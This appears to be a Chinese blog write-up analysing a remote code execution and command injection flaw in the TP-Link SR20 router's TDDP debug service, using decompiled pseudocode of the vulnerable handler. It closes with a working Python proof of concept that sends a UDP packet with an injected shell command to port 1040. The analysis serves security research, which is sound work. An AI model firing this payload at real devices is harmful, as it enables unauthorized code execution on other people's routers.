TP-Link SR20 本地网络远程代码执行漏洞

环境搭建

漏洞的介绍与环境搭建可以看SeeBug对于此漏洞的复现文章
链接:重现 TP-Link SR20 本地网络远程代码执行漏洞

TDDP协议介绍介绍

TDDP是TP-Link用于调试的简单协议,这个协议使用一个数据包,在载荷中使用不同的消息类型来完成请求或者命令的传递。下面的图片是TDDP的数据包信息


tddp_protocol.PNG

官方介绍:
https://patentimages.storage.googleapis.com/d8/ad/08/b5ae76e905594d/CN102096654A.pdf

漏洞分析

使用IDA查看tddp程序,因为程序不是很大,可从头分析逻辑,搜索tddp启动时打印字符串tddp task start的位置,找到程序起始位置。


tddp_start.PNG

sub_16ACCh函数申请了一块内存空间,

  memset(s->field_38, 0, 9u);
  memset(s->buff1, 0, 0xAFC9u);
  memset(s->recv_buff, 0, 0xAFC9u);
  memset(s->field_41, 0, 17u);
  memset(s, 0, 0x28u);   

后续此空间用来保存socket信息和传递的数据。根据此信息创建一个结构体,来简化伪代码:

struct_info.PNG

sub_16E5C函数用来创建socket

tddp_type_handle函数根据接收数据包,选择tddp v1 或tddp v2进行处理(tddp v2包含认证)。跟进该函数:


tddp_handle.PNG

程序根据接收的第一个字节判断tddp版本信息,跟进tddp_version1_handle函数:


tddp_version1.PNG

该函数根据接收数据第二个字节选择特定debug功能。

漏洞点在处理 CMD_FTEST_CONFIG 所在的 0x31 这个分支,继续跟进:

int __fastcall CMD_FTEST_CONFIG(int *data)
{
  void *L; // r0
  uint32_t v2; // r0
  char *v3; // r3
  __int16 v4; // r2
  char *v5; // r3
  int v6; // r0
  int v7; // r1
  data_info *v10; // [sp+4h] [bp-E8h]
  char name; // [sp+8h] [bp-E4h]
  char s; // [sp+48h] [bp-A4h]
  char filname; // [sp+88h] [bp-64h]
  char *v14; // [sp+C8h] [bp-24h]
  char *v15; // [sp+CCh] [bp-20h]
  char *v16; // [sp+D0h] [bp-1Ch]
  int v17; // [sp+D4h] [bp-18h]
  char *ip_addr; // [sp+D8h] [bp-14h]
  int v19; // [sp+DCh] [bp-10h]
  unsigned int v20; // [sp+E0h] [bp-Ch]
  char *v21; // [sp+E4h] [bp-8h]

  v10 = data;
  v20 = 1;
  v19 = 4;
  memset(&filname, 0, 0x40u);
  memset(&s, 0, 0x40u);
  L = memset(&name, 0, 0x40u);
  ip_addr = 0;
  v17 = luaL_newstate(L);
  v21 = v10->recv_buff;
  v16 = v10->buff1;
  v15 = v10->recv_buff;
  v14 = v10->buff1;
  v10->buff1[1] = 0x31;
  v2 = htonl(0);
  v3 = v14;
  v14[4] = v2;
  v3[5] = BYTE1(v2);
  v3[6] = BYTE2(v2);
  v3[7] = HIBYTE(v2);
  v14[2] = 2;
  v4 = (v15[9] << 8) | v15[8];
  v5 = v14;
  v14[8] = v15[8];
  v5[9] = HIBYTE(v4);
  if ( *v15 == 1 )
  {
    v21 += 12;   //数据偏移字节
    v16 += 12;
  }
  else
  {
    v21 += 28;
    v16 += 28;
  }
  if ( !v21 )
    goto LABEL_20;
  sscanf(v21, "%[^;];%s", &filname, &s);
  if ( !filname || !s )
  {
    printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
LABEL_20:
    v14[3] = 3;
    return error(-10303, 94892);
  }
  ip_addr = inet_ntoa(v10->sin_addr);
  exec_cmd("cd /tmp;tftp -gr %s %s &", &filname, ip_addr);
  sprintf(&name, "/tmp/%s", &filname);
  while ( v19 > 0 )
  {
    sleep(1u);
    if ( !access(&name, 0) )                    // 判断lua文件是否下载成功
      break;
    --v19;
  }
  if ( !v19 )
  {
    printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
    goto LABEL_20;
  }
  if ( v17 )
  {
    luaL_openlibs(v17);
    if ( !luaL_loadfile(v17, &name) )
      lua_pcall(v17, 0, -1, 0);
    lua_getfield(v17, -10002, 0x172A0);
    lua_pushstring(v17, &s);
    lua_pushstring(v17, ip_addr);
    lua_call(v17, 2, 1);
    v6 = lua_tonumber(v17, -1);
    v20 = sub_16EC4(v6, v7);
    lua_settop(v17, -2);
  }
  lua_close(v17);
  if ( v20 )
    goto LABEL_20;
  v14[3] = 0;
  return 0;
}

该函数从接收数据的第12字节,获取要下载的文件名。

if ( *v15 == 1 )
  {
    v21 += 12;   //数据偏移字节
    v16 += 12;
  }
  ...
sscanf(v21, "%[^;];%s", &filname, &s);

后拼接成命令:cd /tmp;tftp -gr %s %s ,实现了使用tftp去连接指定ip地址并下载相应的文件,并最终通过c代码调用该lua文件中的config_test函数,从而实现任意代码执行:


lua.PNG

命令注入漏洞

根据分析,CMD_FTEST_CONFIG 函数也存在一个命令注入,如下:

sscanf(v21, "%[^;];%s", &filname, &s);
...
exec_cmd("cd /tmp;tftp -gr %s %s &", &filname, ip_addr);

其中filename为用户可控输入,可拼接造成命令注入。

POC:

from pwn import *
import sys
import socket

argument = "|| %s&&ping;123 " % sys.argv[2]
payload = p8(1)+p8(0x31)+10*p8(0)+argument
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_send.sendto(payload,(sys.argv[1],1040))

command_inject.PNG

你可能感兴趣的:(TP-Link SR20 本地网络远程代码执行漏洞)